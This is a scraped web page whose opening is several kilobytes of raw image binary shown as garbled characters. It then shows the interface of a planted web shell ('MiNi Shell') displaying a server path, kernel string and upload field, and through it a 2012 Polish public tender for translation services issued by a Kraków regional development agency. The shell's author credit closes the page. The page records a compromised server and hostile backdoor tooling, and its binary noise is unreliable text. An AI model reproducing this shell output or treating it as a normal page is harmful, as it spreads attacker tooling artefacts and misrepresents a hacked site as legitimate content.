JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120223/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120223/54416-N-2012.html

<p class="kh_header"><b>Kraków: Usługi w zakresie tłumaczeń pisemnych i ustnych na potrzeby realizacji projektu Transfer dobrych praktyk dotyczących klasteringu i zarządzania sieciami RegioNet w ramach inicjatywy SMART</b><br>
<b>Numer ogłoszenia: 54416 - 2012; data zamieszczenia: 23.02.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Małopolska Agencja Rozwoju Regionalnego S.A. , ul. Kordylewskiego 11, 31-542 Kraków, woj. małopolskie, tel. 012 6176600, faks 012 6176666.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.marr.pl/1przetargi-aktualne.html</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Podmiot prawa publicznego.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Usługi w zakresie tłumaczeń pisemnych i ustnych na potrzeby realizacji projektu Transfer dobrych praktyk dotyczących klasteringu i zarządzania sieciami RegioNet w ramach inicjatywy SMART.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.	Przedmiotem zamówienia są usługi w zakresie tłumaczeń pisemnych zwykłych z języka angielskiego na język polski i ustnych (symultanicznych) z języka polskiego na język angielski i z języka angielskiego na język polski.
2.	Zamawiający dopuszcza składanie ofert częściowych. Postępowanie prowadzone będzie
w podziale na dwie części.
2.1	Część 1 - usługi w zakresie tłumaczenia ustnego - symultanicznego. 
Zamówienie na tłumaczenie ustne symultaniczne z języka angielskiego na język polski i z języka polskiego na język angielski przewiduje do 24 godzin tłumaczenia symultanicznego podczas trzech jednodniowych spotkań w Krakowie wraz z zapewnieniem przez wykonawcę kabiny do tłumaczeń i 40 słuchawek. Tematyka tłumaczeń dotyczy zagadnień gospodarczych, międzynarodowych, unijnych i prawnych oraz ogólnych.
2.2	Część 2 - usługi tłumaczenia pisemnego - zwykłego tekstów.
Zamówienie na tłumaczenie pisemne obejmuje łącznie przetłumaczenie 40 stron tekstu w zakresie tłumaczenia z języka angielskiego na język polski. Tematyka tłumaczeń dotyczy zagadnień gospodarczych, międzynarodowych, unijnychi prawnych oraz ogólnych.
3.	Szczegółowe określenie warunków realizacji przedmiotu zamówienia dla części 1 zawarte jest
w załączniku nr 1a do specyfikacji Opis przedmiotu zamówienia - usługi w zakresie tłumaczenia ustnego - symultanicznego a dla części 2 w załączniku nr 1b do specyfikacji Opis przedmiotu zamówienia - usługi tłumaczenia pisemnego - zwykłego tekstów.
4.	Zamawiający zastrzega, iż wskazane w  załączniku nr 1a i 1 b do specyfikacji ilości służą do przygotowania formularza oferty. W trakcie realizacji zamówienia obowiązywać będą ceny za tłumaczenie 1 strony/ godziny wskazane przez wybranego Wykonawcę w szczegółowym formularzu cenowym. Umowa obowiązywać będzie do 30 kwietnia 2013 roku 
5.	Tłumaczenia będą wykonywane sukcesywnie, stosownie do potrzeb Zamawiającego, na podstawie zamówień, składanych przez Zamawiającego. Wykonawca będzie zobowiązany do wykonania tłumaczeń każdorazowo na podstawie zamówienia sporządzonego według wzoru stanowiącego załącznik do wzoru umowy..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 30.04.2013.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Wadium nie jest wymagane</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia w części 1 i w części 2, Zamawiający nie opisuje szczegółowo sposobu dokonywania oceny spełniania tego warunku udziału w postępowaniu. Zamawiający będzie polegał na złożonych przez Wykonawcę oświadczeniach o spełnieniu warunków udziału w postępowaniu</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Dla części 1 zamówienia: Wykonawca wykaże się wykonaniem w okresie ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenia zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, należytym wykonaniem co najmniej 3 umów o wartości nie mniejszej niż 1000 złotych każda, obejmujących tłumaczenia ustne - symultaniczne z języka polskiego na język angielski i z języka angielskiego na język polski podczas spotkań/ konferencji oraz dotyczących przynajmniej jednej z dziedzin: gospodarki, zagadnień międzynarodowych, unijnych i prawnych oraz ogólnych.
Dla części 2 zamówienia: Wykonawca wykaże się wykonaniem w okresie ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenia zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, należytym wykonaniem co najmniej 2 umów, obejmujących tłumaczenia pisemne- zwykłe z języka angielskiego na język polski, o wartości nie mniejszej niż 500 złotych każda i dotyczących przynajmniej jednej z dziedzin: gospodarki, zagadnień międzynarodowych, unijnych i prawnych oraz ogólnych.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia w części 1 i w części 2, Zamawiający nie opisuje szczegółowo sposobu dokonywania oceny spełniania tego warunku udziału w postępowaniu. Zamawiający będzie polegał na złożonych przez Wykonawcę oświadczeniach o spełnieniu warunków udziału w postępowaniu</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Dla części 1 zamówienia: Wykonawca wykaże, że dysponuje co najmniej 2 tłumaczami posiadającymi doświadczenie
w zakresie tłumaczeń symultanicznych z języka angielskiego na język polski i z języka polskiego na język angielski, z których każdy, będzie posiadał dyplom ukończenia magisterskich studiów wyższych w zakresie filologii angielskiej lub dyplom ukończenia magisterskich studiów wyższych na innym kierunku i studiów podyplomowych przekładu w zakresie języka angielskiego, oraz
w ciągu ostatnich trzech lat wykonał tłumaczenie co najmniej 3 spotkań/ konferencji w zakresie tłumaczenia ustnego symultanicznego w tych językach dotyczących przynajmniej jednej z dziedzin tj. gospodarki, zagadnień międzynarodowych, unijnych i prawnych oraz ogólnych. 

Dla części 2 zamówienia:Wykonawca wykaże, że dysponuje co najmniej 1 tłumaczem posiadającymi doświadczenie w zakresie tłumaczeń pisemnych z języka angielskiego na język polski, który będzie posiadał dyplom ukończenia magisterskich studiów wyższych w zakresie filologii angielskiej lub dyplom ukończenia magisterskich studiów wyższych na innym kierunku i studiów podyplomowych przekładu w zakresie języka angielskiego oraz w ciągu ostatnich trzech lat przetłumaczył co najmniej 30 stron obliczeniowych dotyczących przynajmniej jednej z dziedzin tj. gospodarki, zagadnień międzynarodowych, unijnych i prawnych oraz ogólnych.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia w części 1 i w części 2, Zamawiający nie opisuje szczegółowo sposobu dokonywania oceny spełniania tego warunku udziału w postępowaniu. Zamawiający będzie polegał na złożonych przez Wykonawcę oświadczeniach o spełnieniu warunków udziału w postępowaniu</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">nie orzeczono wobec niego zakazu ubiegania się o zamówienie - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://www.marr.pl/1przetargi-aktualne.html<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Małopolska Agencja Rozwoju Regionalnego S.A.
31-542 Kraków ul. Kordylewskiego 11.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 02.03.2012 godzina 10:00, miejsce: Małopolska Agencja Rozwoju Regionalnego S.A.
31-542 Kraków ul. Kordylewskiego 11, Sekretariat Biura Zarządu.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Przedmiotowe zamówienie będzie wykonywane i współfinansowane w ramach projektu Transfer dobrych praktyk dotyczących klasteringu i zarządzania sieciami RegioNet  współfinansowanego z Europejskiego Funduszu Rozwoju Regionalnego w ramach inicjatywy SMART+..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Usługi w zakresie tłumaczenia ustnego - symultanicznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Zamówienie na tłumaczenie ustne symultaniczne z języka angielskiego na język polski i z języka polskiego na język angielski przewiduje do 24 godzin tłumaczenia symultanicznego podczas trzech jednodniowych spotkań w Krakowie wraz z zapewnieniem przez wykonawcę kabiny do tłumaczeń i 40 słuchawek. Tematyka tłumaczeń dotyczy zagadnień gospodarczych, międzynarodowych, unijnych i prawnych oraz ogólnych. 3.	Szczegółowe określenie warunków realizacji przedmiotu zamówienia dla części 1 zawarte jest w załączniku nr 1a do specyfikacji Opis przedmiotu zamówienia - usługi w zakresie tłumaczenia ustnego - symultanicznego..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.04.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Usługi tłumaczenia pisemnego - zwykłego tekstów.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Zamówienie na tłumaczenie pisemne obejmuje łącznie przetłumaczenie 40 stron tekstu w zakresie tłumaczenia z języka angielskiego na język polski. Tematyka tłumaczeń dotyczy zagadnień gospodarczych, międzynarodowych, unijnych i prawnych oraz ogólnych. 3.	Szczegółowe określenie warunków realizacji przedmiotu zamówienia dla części 2 w załączniku nr 1b do specyfikacji Opis przedmiotu zamówienia - usługi tłumaczenia pisemnego - zwykłego tekstów..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.04.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com